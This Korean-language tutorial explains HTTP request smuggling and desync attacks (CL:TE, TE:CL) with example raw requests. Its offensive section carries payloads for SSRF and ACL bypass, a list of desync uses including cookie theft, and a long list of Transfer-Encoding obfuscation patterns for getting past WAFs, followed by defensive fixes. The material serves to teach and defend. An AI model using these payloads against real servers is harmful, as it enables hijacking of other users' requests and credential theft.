HTTP Request Smuggling and Desync Attack

HTTP Smuggling is reborn with Desync attack!

Introduction

HTTP Request Smuggling은 network hops로 구성된 환경에서 각 구간의 서버, 장비 등에서 HTTP Request를 처리할 때 차이점으로 인해 발생하는 문제입니다. 보편적으로 Content-Length와 Transfer-Encoding을 동시에 전달하여 구간 별로 HTTP Reuqest의 길이를 잘 못 인지하도록 유도합니다.

길이가 차이가 나는 경우 각 서버가 인지하는 길이가 다르기 때문에 요청의 일부가 잘리게 되고, 이는 다음 요청에서 소켓상으로 붙어서 처리됩니다. 이를 HTTP Request Smuggling이라고 부릅니다. 여기서 LB와 같이 로드 밸런싱을 하는 구조라면, 타 사용자의 요청에 소켓이 물릴 수도 있는데 이러한 경우 타 사용자의 웹 요청을 임의로 변조시킬 수 있고 이를 Desync Attack이라고 합니다.

Content-Length

Content-Length는 대다수의 웹 요청에서 기본적으로 사용하는 길이에 대한 헤더입니다. HTTP Body의 길이를 Content-Length 헤더에 포함하여 같이 전달합니다.

POST / HTTP/1.1
Host: www.hahwul.com
Content-Length: 4

asdf

만약 실제 Content-Length와 Body의 값의 길이가 다르다면 요청이 잘리거나(CL 헤더가 작은 경우), 기다리다가 Timeout(CL 헤더가 더 큰 경우)이 발생합니다.

Transfer-Encoding: chunked

chunked는 스트리밍 등 대용량 파일 전송을 위해 고안된 HTTP 헤더입니다. Connetion 단위로 데이터의 시작과 끝을 한번에 처리하는 일반적인 HTTP Request와 다르게 chunked된 요청은 하나의 데이터가 여러번의 HTTP Request로 구성될 수 있도록 지원합니다. 포맷은 아래와 같습니다.

HTTP body

길이\r\n
값\r\n
길이\r\n
값\r\n

위와 같이 2개의 라인을 기준으로 길이와 값으로 표기합니다. 해당 요청은 여려번의 HTTP Reuqest로 전달되어도 하나의 데이터로 보며, 마지막엔 끝맺음을 의미하는 0\r\n 이 있는 경우에 전체 데이터 전송이 완료되었다고 판단하게 됩니다. 0\r\n이 도착하지 않는다면 서버는 요청을 계속 기다리게 됩니다. 실제 예시로 보면 아래와 같습니다.

POST / HTTP/1.1
Host: www.hahwul.com
Transfer-Encoding: chunked

3
ABC
0

위 요청에서 3은 아래에서 사용하는 ABC의 길이, 두번째 줄인 ABC는 값 그리고 마지막에 0은 요청의 마지막을 의미합니다. HTTP 요청을 나눠서 전송하는 경우 이러한 요청이 발생할껍니다.

Request 1

POST / HTTP/1.1
Host: www.hahwul.com
Transfer-Encoding: chunked

3
ABC

Request 2

POST / HTTP/1.1
Host: www.hahwul.com
Transfer-Encoding: chunked

2
AB
0

Attack Point

위 내용까지 글을 읽었다면 Content-Length(CL) 헤더와 Transfer-Encoding(TE) 헤더가 어떻게 동작하는지 알 수 있습니다. 요점은 이 2개의 헤더가 동시에 전달되었을 떄 여러개의 network hops에서 서로 다르게 처리하게 하여 강제로 요청을 잘리게 만드는 방법입니다.

CL:TE

CL:TE 는 CL과 TE 헤더가 동시에 전송되었을 때 hops에서 앞단의 서버가 CL을 신뢰하고, 백엔드 서버가 TE를 신뢰할 떄 발생하는 케이스입니다. 아래와 같이 웹 요청을 전송하게 되면 CL은 13이기 떄문에 Request 전문을 모두 백엔드로 보내게되고, 백엔드에선 TE를 보고 있는데, 0\r\n이 왔기 때문에 요청을 마무리합니다. 그러면 SMUGGLED라는 문자열은 처리되지 않은채 소켓에 남아있게 됩니다.

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0
SMUGGLED

이 요청이 다음의 웹 요청이 들어왔을 떄 아래와 같이 결합됩니다.

SMUGGLEDPOST /page HTTP/1.1
Host: vulnerable-website.com

이로써 우리는 다음 요청의 전체 Request를 변조하게 될 수 있습니다. 이를 이용해서 Host 헤더를 바꾸거나 웹 페이지를 바꾸는 등의 행위가 가능합니다. Attack 에 대한 내용은 아래 Offensive techniques 부분에서 조금 더 자세히 다루겠습니다.

TE:CL

CL:TE와는 반대로 헤더가 동시 전송되었을 때 TE:CL은 프론트 서버가 TE를 신뢰, 백엔드는 CL이 신뢰받는 경우입니다. 아래와 같이 웹 요청이 전송되면 앞단 서버는 TE를 신뢰하기 때문에 요청 전문(0\r\n 까지의 데이터)을 백엔드로 전송하게 되고, 백엔드는 CL 헤더를 보기 때문에 3 길이의 값(8\r\n)만 사용하고 나머지는 버려지게 됩니다. 이로인해 SMUGGLED 단어 이후부턴 처리되지 않고 소켓에 남았기 떄문에 다음 요청에서 결합되어 사용됩니다. (방식은 CL:TE와 동일합니다)

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

Offensive techniques

웹 요청을 변조할 수 있기 때문에 여러가지의 Exploiting 방법들이 존재합니다. 활용하기 나름이겠지만 대표적으로 사용하는 방법들 몇가지를 정리해봅니다.

Exploiting - SSRF

가장 기본적인 방법은 Host 헤더 등을 조작하여 내부로의 접근을 유도하는 방법입니다. 잘려진 요청의 시작점은 내부이기 때문에 Smuggling을 통해 내부시스템 등에 접근할 수 있는 가능성이 있습니다.

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 50
Transfer-Encoding: chunked

0
GET / HTTP/1.1
Host: internal-service-host-name

Exploing - Bypass ACL

때때로 IP 기반으로 ACL이 존재하는 경우가 있는데, 이를 우회하는데 사용할 수 있습니다.

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 37
Transfer-Encoding: chunked

0
GET /api/v2/internal-apis HTTP/1.1

Exploting - Desync

타 사용자에게 영향을 주는 Desync attack의 경우 활용도가 무궁무진합니다.

  • 악성 도메인으로 Redirect (Host 헤더 변조)
  • 404 유도 (DOS)
  • Header 기반 XSS (일반적으로 헤더 기반 XSS는 실제 트리거하기 어렵지만, Desync attack이 있다면 쉬워집니다)
  • 중요정보 유출(헤더의 뒷 부분이 잘려서 붙기 때문에 Host 헤더 변조 등으로 악성 도메인으로 인증 쿠키나 헤더 등의 정보를 유출이 가능함

Bypass technic - Normalization Attack

Use IDN Char(%f9). IDN 문자는 서버/앱 별로 처리하는 방식이 다르기 때문에 이를 활용하여 우회할 수 있습니다.

Transfer-Encoding: chùnked

Bypass technic - \x00

Transfer-Encoding: \x00chunked

Bypass technic - Bypass WAF

Foo: bar\r\n\rTransfer-Encoding: chunked

And Many patterns

%c: 0x1,0x4,0x8,0x9,0xa,0xb,0xc,0xd,0x1F,0x20,0x7f,0xA0,0xFF,0x7F,0x100 등
 
 
 Transfer-Encoding: chunked
%cTransfer-Encoding%c: chunked
%cTransfer-Encoding: chunked
%cTransfer-Encoding: chunked%c
%cTransfer-Encoding:%cchunked
Content-Encoding: chunked
TRANSFER-ENCODING: CHUNKED
TrAnSFer-EnCODinG: cHuNkeD
Transf\x82r-Encoding: chunked
Transfer Encoding: chunked
Transfer Encoding:chunked
Transfer-Encoding : chunked
Transfer-Encoding%c: chunked
Transfer-Encoding%c: chunked%c
Transfer-Encoding%c:%cchunked
Transfer-Encoding:  chunked
Transfer-Encoding: 'chunked'
Transfer-Encoding: \
Transfer-Encoding: ch\x96nked
Transfer-Encoding: chunk
Transfer-Encoding: chunked%c
Transfer-Encoding: chunked%cX: X
Transfer-Encoding: chunked%c\nX: X
Transfer-Encoding: chunked, cow
Transfer-Encoding: chunked\r
Transfer-Encoding: chunked\r%cX: X
Transfer-Encoding: chunked\t
Transfer-Encoding: cow chunked bar
Transfer-Encoding: cow, chunked
Transfer-Encoding: cow\r\nTransfer-Encoding: chunked
Transfer-Encoding:%cchunked
Transfer-Encoding:%cchunked%c
Transfer-Encoding:\n chunked
Transfer-Encoding:\tchunked
Transfer-Encoding:\u000Bchunked
Transfer-Encoding:\xFFchunked
Transfer-Encoding\t:\tchunked
Transfer\r-Encoding: chunked
Transfer_Encoding: chunked
X: X%cTransfer-Encoding: chunked
X: X%c\nTransfer-Encoding: chunked
X: X\r%cTransfer-Encoding: chunked
X:X\nTransfer-Encoding: chunked
X:X\rTransfer-Encoding: chunked

Defensive techniques

Vendor Patch

가장 간편한 방법의 대응방법입니다. 각 취약점이 존재하는 장비, 서버의 경우 개별적으로 패치를 제공하는 경우가 많은데 이를 이용하여 취약점을 제거할 수 있습니다. 보통 Bypass를 위한 chunked 헤더를 제거하는 형태, CL과 TE 헤더가 동시 전달을 막는 방식으로 적용한 것으로 알고 있습니다.

이러한 케이스인 경우 CVE를 가지고 있을 가능성이 있기 때문에 취약점이 발생하는 위치를 정확하게 파악한 후 장비, 서버등의 문제라면 패치를 통해 해결할 수 있습니다.

CL, TE가 동시에 오는 경우 처리하지 않음

CL, TE가 동시에 존재하는 웹 요청은 정말 일반적이지 않습니다. 서버/어플리케이션 등에서 동시에 오는 경우 처리하지 않도록 한다면 해당 취약점을 막을 수 있습니다. 다만 이 경우에 우회패턴으로 무시할 수 있는 가능성이 있기 떄문에 꼼꼼한 검증이 필요합니다.

Unabled Transfer-Encoding

두번쨰 방법은 TE 헤더를 무시하는 방법입니다. TE 헤더 자체가 일반 서비스에서 무조건 사용하는 헤더는 아니기 때문에 서비스에서 TE 사용이 필요하지 않은 경우 TE 헤더를 백엔드로 전달하지 않는 방향으로 수정이 가능합니다. 다만 이 경우 우회패턴으로 백엔드에 TE를 전달시킬 가능성이 있기 때문에 꼼꼼한 검증이 필요합니다.

HTTP/2.0 사용

HTTP2를 기반으로 통신하는 경우 위 공격에 취약하지 않습니다. 다만 h2c smuggling 에 영향을 받을 수 있으니 참고가 필요합니다.

Tools

Articles

References